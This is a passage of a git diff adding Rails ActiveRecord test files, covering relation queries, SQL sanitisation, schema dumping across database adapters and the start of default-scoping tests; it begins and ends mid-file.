+ def test_anonymous_extension
+ relation = Post.where(:author_id => 1).order('id ASC').extending do
+ def author
+ 'lifo'
+ end
+ end
+
+ assert_equal "lifo", relation.author
+ assert_equal "lifo", relation.limit(1).author
+ end
+
+ def test_named_extension
+ relation = Post.where(:author_id => 1).order('id ASC').extending(Post::NamedExtension)
+ assert_equal "lifo", relation.author
+ assert_equal "lifo", relation.limit(1).author
+ end
+
+ def test_order_by_relation_attribute
+ assert_equal Post.order(Post.arel_table[:title]).to_a, Post.order("title").to_a
+ end
+
+ def test_default_scope_order_with_scope_order
+ assert_equal 'honda', CoolCar.order_using_new_style.limit(1).first.name
+ assert_equal 'honda', FastCar.order_using_new_style.limit(1).first.name
+ end
+
+ def test_order_using_scoping
+ car1 = CoolCar.order('id DESC').scoping do
+ CoolCar.all.merge!(:order => 'id asc').first
+ end
+ assert_equal 'honda', car1.name
+
+ car2 = FastCar.order('id DESC').scoping do
+ FastCar.all.merge!(:order => 'id asc').first
+ end
+ assert_equal 'honda', car2.name
+ end
+
+ def test_unscoped_block_style
+ assert_equal 'honda', CoolCar.unscoped { CoolCar.order_using_new_style.limit(1).first.name}
+ assert_equal 'honda', FastCar.unscoped { FastCar.order_using_new_style.limit(1).first.name}
+ end
+
+ def test_intersection_with_array
+ relation = Author.where(:name => "David")
+ rails_author = relation.first
+
+ assert_equal [rails_author], [rails_author] & relation
+ assert_equal [rails_author], relation & [rails_author]
+ end
+
+ def test_primary_key
+ assert_equal "id", Post.all.primary_key
+ end
+
+ def test_eager_loading_with_conditions_on_joins
+ scope = Post.includes(:comments)
+
+ # This references the comments table, and so it should cause the comments to be eager
+ # loaded via a JOIN, rather than by subsequent queries.
+ scope = scope.joins(
+ Post.arel_table.create_join(
+ Post.arel_table,
+ Post.arel_table.create_on(Comment.arel_table[:id].eq(3))
+ )
+ )
+
+ assert_deprecated do
+ assert scope.eager_loading?
+ end
+ end
+
+ def test_turn_off_eager_loading_with_conditions_on_joins
+ original_value = ActiveRecord::Base.disable_implicit_join_references
+ ActiveRecord::Base.disable_implicit_join_references = true
+
+ scope = Topic.where(author_email_address: 'my.example at gmail.com').includes(:replies)
+ assert_not scope.eager_loading?
+ ensure
+ ActiveRecord::Base.disable_implicit_join_references = original_value
+ end
+
+ def test_ordering_with_extra_spaces
+ assert_equal authors(:david), Author.order('id DESC , name DESC').last
+ end
+
+ def test_update_all_with_blank_argument
+ assert_raises(ArgumentError) { Comment.update_all({}) }
+ end
+
+ def test_update_all_with_joins
+ comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id)
+ count = comments.count
+
+ assert_equal count, comments.update_all(:post_id => posts(:thinking).id)
+ assert_equal posts(:thinking), comments(:greetings).post
+ end
+
+ def test_update_all_with_joins_and_limit
+ comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id).limit(1)
+ assert_equal 1, comments.update_all(:post_id => posts(:thinking).id)
+ end
+
+ def test_update_all_with_joins_and_limit_and_order
+ comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id).order('comments.id').limit(1)
+ assert_equal 1, comments.update_all(:post_id => posts(:thinking).id)
+ assert_equal posts(:thinking), comments(:greetings).post
+ assert_equal posts(:welcome), comments(:more_greetings).post
+ end
+
+ def test_update_all_with_joins_and_offset
+ all_comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id)
+ count = all_comments.count
+ comments = all_comments.offset(1)
+
+ assert_equal count - 1, comments.update_all(:post_id => posts(:thinking).id)
+ end
+
+ def test_update_all_with_joins_and_offset_and_order
+ all_comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id).order('posts.id', 'comments.id')
+ count = all_comments.count
+ comments = all_comments.offset(1)
+
+ assert_equal count - 1, comments.update_all(:post_id => posts(:thinking).id)
+ assert_equal posts(:thinking), comments(:more_greetings).post
+ assert_equal posts(:welcome), comments(:greetings).post
+ end
+
+ def test_distinct
+ tag1 = Tag.create(:name => 'Foo')
+ tag2 = Tag.create(:name => 'Foo')
+
+ query = Tag.select(:name).where(:id => [tag1.id, tag2.id])
+
+ assert_equal ['Foo', 'Foo'], query.map(&:name)
+ assert_sql(/DISTINCT/) do
+ assert_equal ['Foo'], query.distinct.map(&:name)
+ assert_equal ['Foo'], query.uniq.map(&:name)
+ end
+ assert_sql(/DISTINCT/) do
+ assert_equal ['Foo'], query.distinct(true).map(&:name)
+ assert_equal ['Foo'], query.uniq(true).map(&:name)
+ end
+ assert_equal ['Foo', 'Foo'], query.distinct(true).distinct(false).map(&:name)
+ assert_equal ['Foo', 'Foo'], query.uniq(true).uniq(false).map(&:name)
+ end
+
+ def test_doesnt_add_having_values_if_options_are_blank
+ scope = Post.having('')
+ assert_equal [], scope.having_values
+
+ scope = Post.having([])
+ assert_equal [], scope.having_values
+ end
+
+ def test_references_triggers_eager_loading
+ scope = Post.includes(:comments)
+ assert !scope.eager_loading?
+ assert scope.references(:comments).eager_loading?
+ end
+
+ def test_references_doesnt_trigger_eager_loading_if_reference_not_included
+ scope = Post.references(:comments)
+ assert !scope.eager_loading?
+ end
+
+ def test_automatically_added_where_references
+ scope = Post.where(:comments => { :body => "Bla" })
+ assert_equal ['comments'], scope.references_values
+
+ scope = Post.where('comments.body' => 'Bla')
+ assert_equal ['comments'], scope.references_values
+ end
+
+ def test_automatically_added_having_references
+ scope = Post.having(:comments => { :body => "Bla" })
+ assert_equal ['comments'], scope.references_values
+
+ scope = Post.having('comments.body' => 'Bla')
+ assert_equal ['comments'], scope.references_values
+ end
+
+ def test_automatically_added_order_references
+ scope = Post.order('comments.body')
+ assert_equal ['comments'], scope.references_values
+
+ scope = Post.order('comments.body', 'yaks.body')
+ assert_equal ['comments', 'yaks'], scope.references_values
+
+ # Don't infer yaks, let's not go down that road again...
+ scope = Post.order('comments.body, yaks.body')
+ assert_equal ['comments'], scope.references_values
+
+ scope = Post.order('comments.body asc')
+ assert_equal ['comments'], scope.references_values
+
+ scope = Post.order('foo(comments.body)')
+ assert_equal [], scope.references_values
+ end
+
+ def test_presence
+ topics = Topic.all
+
+ # the first query is triggered because there are no topics yet.
+ assert_queries(1) { assert topics.present? }
+
+ # checking if there are topics is used before you actually display them,
+ # thus it shouldn't invoke an extra count query.
+ assert_no_queries { assert topics.present? }
+ assert_no_queries { assert !topics.blank? }
+
+ # shows count of topics and loops after loading the query should not trigger extra queries either.
+ assert_no_queries { topics.size }
+ assert_no_queries { topics.length }
+ assert_no_queries { topics.each }
+
+ # count always trigger the COUNT query.
+ assert_queries(1) { topics.count }
+
+ assert topics.loaded?
+ end
+
+ test "find_by with hash conditions returns the first matching record" do
+ assert_equal posts(:eager_other), Post.order(:id).find_by(author_id: 2)
+ end
+
+ test "find_by with non-hash conditions returns the first matching record" do
+ assert_equal posts(:eager_other), Post.order(:id).find_by("author_id = 2")
+ end
+
+ test "find_by with multi-arg conditions returns the first matching record" do
+ assert_equal posts(:eager_other), Post.order(:id).find_by('author_id = ?', 2)
+ end
+
+ test "find_by returns nil if the record is missing" do
+ assert_equal nil, Post.all.find_by("1 = 0")
+ end
+
+ test "find_by doesn't have implicit ordering" do
+ assert_sql(/^((?!ORDER).)*$/) { Post.find_by(author_id: 2) }
+ end
+
+ test "find_by! with hash conditions returns the first matching record" do
+ assert_equal posts(:eager_other), Post.order(:id).find_by!(author_id: 2)
+ end
+
+ test "find_by! with non-hash conditions returns the first matching record" do
+ assert_equal posts(:eager_other), Post.order(:id).find_by!("author_id = 2")
+ end
+
+ test "find_by! with multi-arg conditions returns the first matching record" do
+ assert_equal posts(:eager_other), Post.order(:id).find_by!('author_id = ?', 2)
+ end
+
+ test "find_by! doesn't have implicit ordering" do
+ assert_sql(/^((?!ORDER).)*$/) { Post.find_by!(author_id: 2) }
+ end
+
+ test "find_by! raises RecordNotFound if the record is missing" do
+ assert_raises(ActiveRecord::RecordNotFound) do
+ Post.all.find_by!("1 = 0")
+ end
+ end
+
+ test "loaded relations cannot be mutated by multi value methods" do
+ relation = Post.all
+ relation.to_a
+
+ assert_raises(ActiveRecord::ImmutableRelation) do
+ relation.where! 'foo'
+ end
+ end
+
+ test "loaded relations cannot be mutated by single value methods" do
+ relation = Post.all
+ relation.to_a
+
+ assert_raises(ActiveRecord::ImmutableRelation) do
+ relation.limit! 5
+ end
+ end
+
+ test "loaded relations cannot be mutated by merge!" do
+ relation = Post.all
+ relation.to_a
+
+ assert_raises(ActiveRecord::ImmutableRelation) do
+ relation.merge! where: 'foo'
+ end
+ end
+
+ test "loaded relations cannot be mutated by extending!" do
+ relation = Post.all
+ relation.to_a
+
+ assert_raises(ActiveRecord::ImmutableRelation) do
+ relation.extending! Module.new
+ end
+ end
+
+ test "relations show the records in #inspect" do
+ relation = Post.limit(2)
+ assert_equal "#<ActiveRecord::Relation [#{Post.limit(2).map(&:inspect).join(', ')}]>", relation.inspect
+ end
+
+ test "relations limit the records in #inspect at 10" do
+ relation = Post.limit(11)
+ assert_equal "#<ActiveRecord::Relation [#{Post.limit(10).map(&:inspect).join(', ')}, ...]>", relation.inspect
+ end
+
+ test "already-loaded relations don't perform a new query in #inspect" do
+ relation = Post.limit(2)
+ relation.to_a
+
+ expected = "#<ActiveRecord::Relation [#{Post.limit(2).map(&:inspect).join(', ')}]>"
+
+ assert_no_queries do
+ assert_equal expected, relation.inspect
+ end
+ end
+
+ test 'using a custom table affects the wheres' do
+ table_alias = Post.arel_table.alias('omg_posts')
+
+ relation = ActiveRecord::Relation.new Post, table_alias
+ relation.where!(:foo => "bar")
+
+ node = relation.arel.constraints.first.grep(Arel::Attributes::Attribute).first
+ assert_equal table_alias, node.relation
+ end
+
+ test '#load' do
+ relation = Post.all
+ assert_queries(1) do
+ assert_equal relation, relation.load
+ end
+ assert_no_queries { relation.to_a }
+ end
+
+ test 'group with select and includes' do
+ authors_count = Post.select('author_id, COUNT(author_id) AS num_posts').
+ group('author_id').order('author_id').includes(:author).to_a
+
+ assert_no_queries do
+ result = authors_count.map do |post|
+ [post.num_posts, post.author.try(:name)]
+ end
+
+ expected = [[1, nil], [5, "David"], [3, "Mary"], [2, "Bob"]]
+ assert_equal expected, result
+ end
+ end
+
+ test "delegations do not leak to other classes" do
+ Topic.all.by_lifo
+ assert Topic.all.class.method_defined?(:by_lifo)
+ assert !Post.all.respond_to?(:by_lifo)
+ end
+
+ class OMGTopic < ActiveRecord::Base
+ self.table_name = 'topics'
+
+ def self.__omg__
+ "omgtopic"
+ end
+ end
+
+ test "delegations do not clash across classes" do
+ begin
+ class ::Array
+ def __omg__
+ "array"
+ end
+ end
+
+ assert_equal "array", Topic.all.__omg__
+ assert_equal "omgtopic", OMGTopic.all.__omg__
+ ensure
+ Array.send(:remove_method, :__omg__)
+ end
+ end
+
+ test "merge collapses wheres from the LHS only" do
+ left = Post.where(title: "omg").where(comments_count: 1)
+ right = Post.where(title: "wtf").where(title: "bbq")
+
+ expected = [left.where_values[1]] + right.where_values
+ merged = left.merge(right)
+
+ assert_equal expected, merged.where_values
+ assert !merged.to_sql.include?("omg")
+ assert merged.to_sql.include?("wtf")
+ assert merged.to_sql.include?("bbq")
+ end
+end
diff --git a/activerecord/test/cases/reload_models_test.rb b/activerecord/test/cases/reload_models_test.rb
new file mode 100644
index 0000000..0d16a35
--- /dev/null
+++ b/activerecord/test/cases/reload_models_test.rb
@@ -0,0 +1,22 @@
+require "cases/helper"
+require 'models/owner'
+require 'models/pet'
+
+class ReloadModelsTest < ActiveRecord::TestCase
+ fixtures :pets
+
+ def test_has_one_with_reload
+ pet = Pet.find_by_name('parrot')
+ pet.owner = Owner.find_by_name('ashley')
+
+ # Reload the class Owner, simulating auto-reloading of model classes in a
+ # development environment. Note that meanwhile the class Pet is not
+ # reloaded, simulating a class that is present in a plugin.
+ Object.class_eval { remove_const :Owner }
+ Kernel.load(File.expand_path(File.join(File.dirname(__FILE__), "../models/owner.rb")))
+
+ pet = Pet.find_by_name('parrot')
+ pet.owner = Owner.find_by_name('ashley')
+ assert_equal pet.owner, Owner.find_by_name('ashley')
+ end
+end
diff --git a/activerecord/test/cases/sanitize_test.rb b/activerecord/test/cases/sanitize_test.rb
new file mode 100644
index 0000000..817897c
--- /dev/null
+++ b/activerecord/test/cases/sanitize_test.rb
@@ -0,0 +1,25 @@
+require "cases/helper"
+require 'models/binary'
+
+class SanitizeTest < ActiveRecord::TestCase
+ def setup
+ end
+
+ def test_sanitize_sql_array_handles_string_interpolation
+ quoted_bambi = ActiveRecord::Base.connection.quote_string("Bambi")
+ assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=%s", "Bambi"])
+ assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=%s", "Bambi".mb_chars])
+ quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote_string("Bambi\nand\nThumper")
+ assert_equal "name=#{quoted_bambi_and_thumper}",Binary.send(:sanitize_sql_array, ["name=%s", "Bambi\nand\nThumper"])
+ assert_equal "name=#{quoted_bambi_and_thumper}",Binary.send(:sanitize_sql_array, ["name=%s", "Bambi\nand\nThumper".mb_chars])
+ end
+
+ def test_sanitize_sql_array_handles_bind_variables
+ quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
+ assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi"])
+ assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi".mb_chars])
+ quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper")
+ assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper"])
+ assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper".mb_chars])
+ end
+end
diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb
new file mode 100644
index 0000000..a48ae10
--- /dev/null
+++ b/activerecord/test/cases/schema_dumper_test.rb
@@ -0,0 +1,391 @@
+require "cases/helper"
+
+class SchemaDumperTest < ActiveRecord::TestCase
+ def setup
+ super
+ ActiveRecord::SchemaMigration.create_table
+ @stream = StringIO.new
+ end
+
+ def standard_dump
+ @stream = StringIO.new
+ ActiveRecord::SchemaDumper.ignore_tables = []
+ ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, @stream)
+ @stream.string
+ end
+
+ def test_dump_schema_information_outputs_lexically_ordered_versions
+ versions = %w{ 20100101010101 20100201010101 20100301010101 }
+ versions.reverse.each do |v|
+ ActiveRecord::SchemaMigration.create!(:version => v)
+ end
+
+ schema_info = ActiveRecord::Base.connection.dump_schema_information
+ assert_match(/20100201010101.*20100301010101/m, schema_info)
+ end
+
+ def test_magic_comment
+ assert_match "# encoding: #{@stream.external_encoding.name}", standard_dump
+ end
+
+ def test_schema_dump
+ output = standard_dump
+ assert_match %r{create_table "accounts"}, output
+ assert_match %r{create_table "authors"}, output
+ assert_no_match %r{create_table "schema_migrations"}, output
+ end
+
+ def test_schema_dump_excludes_sqlite_sequence
+ output = standard_dump
+ assert_no_match %r{create_table "sqlite_sequence"}, output
+ end
+
+ def test_schema_dump_includes_camelcase_table_name
+ output = standard_dump
+ assert_match %r{create_table "CamelCase"}, output
+ end
+
+ def assert_line_up(lines, pattern, required = false)
+ return assert(true) if lines.empty?
+ matches = lines.map { |line| line.match(pattern) }
+ assert matches.all? if required
+ matches.compact!
+ return assert(true) if matches.empty?
+ assert_equal 1, matches.map{ |match| match.offset(0).first }.uniq.length
+ end
+
+ def column_definition_lines(output = standard_dump)
+ output.scan(/^( *)create_table.*?\n(.*?)^\1end/m).map{ |m| m.last.split(/\n/) }
+ end
+
+ def test_types_line_up
+ column_definition_lines.each do |column_set|
+ next if column_set.empty?
+
+ lengths = column_set.map do |column|
+ if match = column.match(/t\.(?:integer|decimal|float|datetime|timestamp|time|date|text|binary|string|boolean)\s+"/)
+ match[0].length
+ end
+ end
+
+ assert_equal 1, lengths.uniq.length
+ end
+ end
+
+ def test_arguments_line_up
+ column_definition_lines.each do |column_set|
+ assert_line_up(column_set, /default: /)
+ assert_line_up(column_set, /limit: /)
+ assert_line_up(column_set, /null: /)
+ end
+ end
+
+ def test_no_dump_errors
+ output = standard_dump
+ assert_no_match %r{\# Could not dump table}, output
+ end
+
+ def test_schema_dump_includes_not_null_columns
+ stream = StringIO.new
+
+ ActiveRecord::SchemaDumper.ignore_tables = [/^[^r]/]
+ ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+ output = stream.string
+ assert_match %r{null: false}, output
+ end
+
+ def test_schema_dump_includes_limit_constraint_for_integer_columns
+ stream = StringIO.new
+
+ ActiveRecord::SchemaDumper.ignore_tables = [/^(?!integer_limits)/]
+ ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+ output = stream.string
+
+ if current_adapter?(:PostgreSQLAdapter)
+ assert_match %r{c_int_1.*limit: 2}, output
+ assert_match %r{c_int_2.*limit: 2}, output
+
+ # int 3 is 4 bytes in postgresql
+ assert_match %r{c_int_3.*}, output
+ assert_no_match %r{c_int_3.*limit:}, output
+
+ assert_match %r{c_int_4.*}, output
+ assert_no_match %r{c_int_4.*limit:}, output
+ elsif current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ assert_match %r{c_int_1.*limit: 1}, output
+ assert_match %r{c_int_2.*limit: 2}, output
+ assert_match %r{c_int_3.*limit: 3}, output
+
+ assert_match %r{c_int_4.*}, output
+ assert_no_match %r{c_int_4.*:limit}, output
+ elsif current_adapter?(:SQLite3Adapter)
+ assert_match %r{c_int_1.*limit: 1}, output
+ assert_match %r{c_int_2.*limit: 2}, output
+ assert_match %r{c_int_3.*limit: 3}, output
+ assert_match %r{c_int_4.*limit: 4}, output
+ end
+ assert_match %r{c_int_without_limit.*}, output
+ assert_no_match %r{c_int_without_limit.*limit:}, output
+
+ if current_adapter?(:SQLite3Adapter)
+ assert_match %r{c_int_5.*limit: 5}, output
+ assert_match %r{c_int_6.*limit: 6}, output
+ assert_match %r{c_int_7.*limit: 7}, output
+ assert_match %r{c_int_8.*limit: 8}, output
+ elsif current_adapter?(:OracleAdapter)
+ assert_match %r{c_int_5.*limit: 5}, output
+ assert_match %r{c_int_6.*limit: 6}, output
+ assert_match %r{c_int_7.*limit: 7}, output
+ assert_match %r{c_int_8.*limit: 8}, output
+ else
+ assert_match %r{c_int_5.*limit: 8}, output
+ assert_match %r{c_int_6.*limit: 8}, output
+ assert_match %r{c_int_7.*limit: 8}, output
+ assert_match %r{c_int_8.*limit: 8}, output
+ end
+ end
+
+ def test_schema_dump_with_string_ignored_table
+ stream = StringIO.new
+
+ ActiveRecord::SchemaDumper.ignore_tables = ['accounts']
+ ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+ output = stream.string
+ assert_no_match %r{create_table "accounts"}, output
+ assert_match %r{create_table "authors"}, output
+ assert_no_match %r{create_table "schema_migrations"}, output
+ end
+
+ def test_schema_dump_with_regexp_ignored_table
+ stream = StringIO.new
+
+ ActiveRecord::SchemaDumper.ignore_tables = [/^account/]
+ ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+ output = stream.string
+ assert_no_match %r{create_table "accounts"}, output
+ assert_match %r{create_table "authors"}, output
+ assert_no_match %r{create_table "schema_migrations"}, output
+ end
+
+ def test_schema_dump_illegal_ignored_table_value
+ stream = StringIO.new
+ ActiveRecord::SchemaDumper.ignore_tables = [5]
+ assert_raise(StandardError) do
+ ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+ end
+ end
+
+ def test_schema_dumps_index_columns_in_right_order
+ index_definition = standard_dump.split(/\n/).grep(/add_index.*companies/).first.strip
+ if current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter) || current_adapter?(:PostgreSQLAdapter)
+ assert_equal 'add_index "companies", ["firm_id", "type", "rating"], name: "company_index", using: :btree', index_definition
+ else
+ assert_equal 'add_index "companies", ["firm_id", "type", "rating"], name: "company_index"', index_definition
+ end
+ end
+
+ def test_schema_dumps_partial_indices
+ index_definition = standard_dump.split(/\n/).grep(/add_index.*company_partial_index/).first.strip
+ if current_adapter?(:PostgreSQLAdapter)
+ assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "(rating > 10)", using: :btree', index_definition
+ elsif current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter)
+ assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", using: :btree', index_definition
+ else
+ assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index"', index_definition
+ end
+ end
+
+ def test_schema_dump_should_honor_nonstandard_primary_keys
+ output = standard_dump
+ match = output.match(%r{create_table "movies"(.*)do})
+ assert_not_nil(match, "nonstandardpk table not found")
+ assert_match %r(primary_key: "movieid"), match[1], "non-standard primary key not preserved"
+ end
+
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ def test_schema_dump_should_not_add_default_value_for_mysql_text_field
+ output = standard_dump
+ assert_match %r{t.text\s+"body",\s+null: false$}, output
+ end
+
+ def test_schema_dump_includes_length_for_mysql_binary_fields
+ output = standard_dump
+ assert_match %r{t.binary\s+"var_binary",\s+limit: 255$}, output
+ assert_match %r{t.binary\s+"var_binary_large",\s+limit: 4095$}, output
+ end
+
+ def test_schema_dump_includes_length_for_mysql_blob_and_text_fields
+ output = standard_dump
+ assert_match %r{t.binary\s+"tiny_blob",\s+limit: 255$}, output
+ assert_match %r{t.binary\s+"normal_blob"$}, output
+ assert_match %r{t.binary\s+"medium_blob",\s+limit: 16777215$}, output
+ assert_match %r{t.binary\s+"long_blob",\s+limit: 2147483647$}, output
+ assert_match %r{t.text\s+"tiny_text",\s+limit: 255$}, output
+ assert_match %r{t.text\s+"normal_text"$}, output
+ assert_match %r{t.text\s+"medium_text",\s+limit: 16777215$}, output
+ assert_match %r{t.text\s+"long_text",\s+limit: 2147483647$}, output
+ end
+
+ def test_schema_dumps_index_type
+ output = standard_dump
+ assert_match %r{add_index "key_tests", \["awesome"\], name: "index_key_tests_on_awesome", type: :fulltext}, output
+ assert_match %r{add_index "key_tests", \["pizza"\], name: "index_key_tests_on_pizza", using: :btree}, output
+ end
+ end
+
+ def test_schema_dump_includes_decimal_options
+ stream = StringIO.new
+ ActiveRecord::SchemaDumper.ignore_tables = [/^[^n]/]
+ ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+ output = stream.string
+ assert_match %r{precision: 3,[[:space:]]+scale: 2,[[:space:]]+default: 2.78}, output
+ end
+
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_schema_dump_includes_bigint_default
+ output = standard_dump
+ assert_match %r{t.integer\s+"bigint_default",\s+limit: 8,\s+default: 0}, output
+ end
+
+ def test_schema_dump_includes_extensions
+ connection = ActiveRecord::Base.connection
+ skip unless connection.supports_extensions?
+
+ connection.stubs(:extensions).returns(['hstore'])
+ output = standard_dump
+ assert_match "# These are extensions that must be enabled", output
+ assert_match %r{enable_extension "hstore"}, output
+
+ connection.stubs(:extensions).returns([])
+ output = standard_dump
+ assert_no_match "# These are extensions that must be enabled", output
+ assert_no_match %r{enable_extension}, output
+ end
+
+ def test_schema_dump_includes_xml_shorthand_definition
+ output = standard_dump
+ if %r{create_table "postgresql_xml_data_type"} =~ output
+ assert_match %r{t.xml "data"}, output
+ end
+ end
+
+ def test_schema_dump_includes_json_shorthand_definition
+ output = standard_dump
+ if %r{create_table "postgresql_json_data_type"} =~ output
+ assert_match %r|t.json "json_data", default: {}|, output
+ end
+ end
+
+ def test_schema_dump_includes_inet_shorthand_definition
+ output = standard_dump
+ if %r{create_table "postgresql_network_addresses"} =~ output
+ assert_match %r{t.inet\s+"inet_address",\s+default: "192.168.1.1"}, output
+ end
+ end
+
+ def test_schema_dump_includes_cidr_shorthand_definition
+ output = standard_dump
+ if %r{create_table "postgresql_network_addresses"} =~ output
+ assert_match %r{t.cidr\s+"cidr_address",\s+default: "192.168.1.0/24"}, output
+ end
+ end
+
+ def test_schema_dump_includes_macaddr_shorthand_definition
+ output = standard_dump
+ if %r{create_table "postgresql_network_addresses"} =~ output
+ assert_match %r{t.macaddr\s+"mac_address",\s+default: "ff:ff:ff:ff:ff:ff"}, output
+ end
+ end
+
+ def test_schema_dump_includes_uuid_shorthand_definition
+ output = standard_dump
+ if %r{create_table "poistgresql_uuids"} =~ output
+ assert_match %r{t.uuid "guid"}, output
+ end
+ end
+
+ def test_schema_dump_includes_hstores_shorthand_definition
+ output = standard_dump
+ if %r{create_table "postgresql_hstores"} =~ output
+ assert_match %r[t.hstore "hash_store", default: {}], output
+ end
+ end
+
+ def test_schema_dump_includes_ltrees_shorthand_definition
+ output = standard_dump
+ if %r{create_table "postgresql_ltrees"} =~ output
+ assert_match %r[t.ltree "path"], output
+ end
+ end
+
+ def test_schema_dump_includes_arrays_shorthand_definition
+ output = standard_dump
+ if %r{create_table "postgresql_arrays"} =~ output
+ assert_match %r[t.text\s+"nicknames",\s+array: true], output
+ assert_match %r[t.integer\s+"commission_by_quarter",\s+array: true], output
+ end
+ end
+
+ def test_schema_dump_includes_tsvector_shorthand_definition
+ output = standard_dump
+ if %r{create_table "postgresql_tsvectors"} =~ output
+ assert_match %r{t.tsvector "text_vector"}, output
+ end
+ end
+ end
+
+ def test_schema_dump_keeps_large_precision_integer_columns_as_decimal
+ output = standard_dump
+ # Oracle supports precision up to 38 and it identifies decimals with scale 0 as integers
+ if current_adapter?(:OracleAdapter)
+ assert_match %r{t.integer\s+"atoms_in_universe",\s+precision: 38,\s+scale: 0}, output
+ else
+ assert_match %r{t.decimal\s+"atoms_in_universe",\s+precision: 55,\s+scale: 0}, output
+ end
+ end
+
+ def test_schema_dump_keeps_id_column_when_id_is_false_and_id_column_added
+ output = standard_dump
+ match = output.match(%r{create_table "goofy_string_id"(.*)do.*\n(.*)\n})
+ assert_not_nil(match, "goofy_string_id table not found")
+ assert_match %r(id: false), match[1], "no table id not preserved"
+ assert_match %r{t.string[[:space:]]+"id",[[:space:]]+null: false$}, match[2], "non-primary key id column not preserved"
+ end
+
+ def test_schema_dump_keeps_id_false_when_id_is_false_and_unique_not_null_column_added
+ output = standard_dump
+ assert_match %r{create_table "subscribers", id: false}, output
+ end
+
+ class CreateDogMigration < ActiveRecord::Migration
+ def up
+ create_table("dogs") do |t|
+ t.column :name, :string
+ end
+ add_index "dogs", [:name]
+ end
+ def down
+ drop_table("dogs")
+ end
+ end
+
+ def test_schema_dump_with_table_name_prefix_and_suffix
+ original, $stdout = $stdout, StringIO.new
+ ActiveRecord::Base.table_name_prefix = 'foo_'
+ ActiveRecord::Base.table_name_suffix = '_bar'
+
+ migration = CreateDogMigration.new
+ migration.migrate(:up)
+
+ output = standard_dump
+ assert_no_match %r{create_table "foo_.+_bar"}, output
+ assert_no_match %r{create_index "foo_.+_bar"}, output
+ assert_no_match %r{create_table "schema_migrations"}, output
+ ensure
+ migration.migrate(:down)
+
+ ActiveRecord::Base.table_name_suffix = ActiveRecord::Base.table_name_prefix = ''
+ $stdout = original
+ end
+
+end
diff --git a/activerecord/test/cases/scoping/default_scoping_test.rb b/activerecord/test/cases/scoping/default_scoping_test.rb
new file mode 100644
index 0000000..0f69443
--- /dev/null
+++ b/activerecord/test/cases/scoping/default_scoping_test.rb
@@ -0,0 +1,370 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/developer'
+
+class DefaultScopingTest < ActiveRecord::TestCase
+ fixtures :developers, :posts
+
+ def test_default_scope
+ expected = Developer.all.merge!(:order => 'salary DESC').to_a.collect { |dev| dev.salary }
+ received = DeveloperOrderedBySalary.all.collect { |dev| dev.salary }
+ assert_equal expected, received
+ end
+
+ def test_default_scope_as_class_method
+ assert_equal [developers(:david).becomes(ClassMethodDeveloperCalledDavid)], ClassMethodDeveloperCalledDavid.all
+ end
+
+ def test_default_scope_as_class_method_referencing_scope
+ assert_equal [developers(:david).becomes(ClassMethodReferencingScopeDeveloperCalledDavid)], ClassMethodReferencingScopeDeveloperCalledDavid.all
+ end
+
+ def test_default_scope_as_block_referencing_scope
+ assert_equal [developers(:david).becomes(LazyBlockReferencingScopeDeveloperCalledDavid)], LazyBlockReferencingScopeDeveloperCalledDavid.all
+ end
+
+ def test_default_scope_with_lambda
+ assert_equal [developers(:david).becomes(LazyLambdaDeveloperCalledDavid)], LazyLambdaDeveloperCalledDavid.all
+ end
+
+ def test_default_scope_with_block
+ assert_equal [developers(:david).becomes(LazyBlockDeveloperCalledDavid)], LazyBlockDeveloperCalledDavid.all
+ end
+
+ def test_default_scope_with_callable
+ assert_equal [developers(:david).becomes(CallableDeveloperCalledDavid)], CallableDeveloperCalledDavid.all
+ end
+
+ def test_default_scope_is_unscoped_on_find
+ assert_equal 1, DeveloperCalledDavid.count
+ assert_equal 11, DeveloperCalledDavid.unscoped.count
+ end
+
+ def test_default_scope_is_unscoped_on_create
+ assert_nil DeveloperCalledJamis.unscoped.create!.name
+ end
+
+ def test_default_scope_with_conditions_string
+ assert_equal Developer.where(name: 'David').map(&:id).sort, DeveloperCalledDavid.all.map(&:id).sort
+ assert_equal nil, DeveloperCalledDavid.create!.name
+ end
+
+ def test_default_scope_with_conditions_hash
+ assert_equal Developer.where(name: 'Jamis').map(&:id).sort, DeveloperCalledJamis.all.map(&:id).sort
+ assert_equal 'Jamis', DeveloperCalledJamis.create!.name
+ end
+
+ def test_default_scoping_with_threads
+ 2.times do
+ Thread.new { assert DeveloperOrderedBySalary.all.to_sql.include?('salary DESC') }.join
+ end
+ end
+
+ def test_default_scope_with_inheritance
+ wheres = InheritedPoorDeveloperCalledJamis.all.where_values_hash
